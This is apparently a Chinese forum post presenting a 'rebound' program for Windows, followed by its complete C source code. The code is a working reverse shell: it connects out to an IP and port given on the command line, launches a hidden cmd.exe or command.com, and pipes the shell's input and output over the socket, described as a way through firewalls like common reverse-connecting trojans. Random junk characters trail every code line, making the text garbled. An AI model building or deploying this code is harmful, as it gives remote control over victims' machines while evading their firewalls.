这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y|tHU'x
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/* ============================== Mq>
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Rebound port in Windows NT b31$i 5{
By wind,2006/7 w.m8SvS&b
===============================*/ .<m]j;|6
#include _}R$h=YD
#include )qxt<
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#pragma comment(lib,"wsock32.lib") H{}&|;0
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void OutputShell(); rNN>tpZ}
SOCKET sClient; MzvhE0ab
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C*Q7@+&
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void main(int argc,char **argv) 4=,J@N-
{ "VaWZ*
WSADATA stWsaData; =4_}.
int nRet; FvsVfV U
SOCKADDR_IN stSaiClient,stSaiServer; TEV DES
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if(argc != 3) y [Vd*8
{ dk&F?B{6T
printf("Useage:\n\rRebound DestIP DestPort\n"); cK$yr)7
return; Fs]N9],=I
} alJ0gc2?
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WSAStartup(MAKEWORD(2,2),&stWsaData); fN2Sio:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /d&m#%9Up]
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stSaiClient.sin_family = AF_INET; P-X|qVNK1Z
stSaiClient.sin_port = htons(0); I9kz)Q o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {a[BhK'g
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'n|U
{ 6J;!p/C8E
printf("Bind Socket Failed!\n"); D`XXR}8V
return; ;@;aeu
} wUvE
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stSaiServer.sin_family = AF_INET; n@pwOHQn<|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ed'[_T}T3t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c]pz&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "%T~d[M
{ W ^<AUT
printf("Connect Error!"); U5"u
h} 3
return; "kApGNB
} 8u*<GbKGI
OutputShell(); z83v
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} a?gF;AYk
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void OutputShell() !*l /Pr^8
{ }Y-V!z5z!
char szBuff[1024]; s#7"ZN
SECURITY_ATTRIBUTES stSecurityAttributes; #IH9S5B [
OSVERSIONINFO stOsversionInfo; ~W@dF~r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OP!R>|
STARTUPINFO stStartupInfo; 99OZK
char *szShell; *<\`"C;
PROCESS_INFORMATION stProcessInformation; 89d%P
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unsigned long lBytesRead; xh;gAh5n
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jI,[(Z>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &S="]*Z
stSecurityAttributes.lpSecurityDescriptor = 0; _qB
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stSecurityAttributes.bInheritHandle = TRUE; ZvyZ5UA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'bbw0aB4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bg~CV&]M
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8R)K$J$Hm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2D!jVr!
stStartupInfo.wShowWindow = SW_HIDE; 1XiA
stStartupInfo.hStdInput = hReadPipe; 6vNW)1{nn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (H:c80/V
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GetVersionEx(&stOsversionInfo); AYf}=t|
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switch(stOsversionInfo.dwPlatformId) |>}CoR7
{ ztU"CRa8
case 1: qX}3}TL
szShell = "command.com"; bB4FjC':
break; 2>jk@~Z1:u
default: 6zM:p/
szShell = "cmd.exe"; :[@rA;L
break; /J^dzvH
} 23CvfP
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aH;AGbp
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send(sClient,szMsg,77,0); huqtk4u
while(1) A^}#
{ ql9n`?Q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~Jf(M^E
if(lBytesRead) /BgXY}JC.
{ 6EC',=)6R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TJYhgna
send(sClient,szBuff,lBytesRead,0); OK4r)
} ,LZA\XC
else u'? +JUd1
{ E$lbm>jsb$
lBytesRead=recv(sClient,szBuff,1024,0); '7oR|I
if(lBytesRead<=0) break; l4DBGZB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q=^;lWs4
} qBF|' .$^
} 9ug4p']
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return; iq3)}hGo
}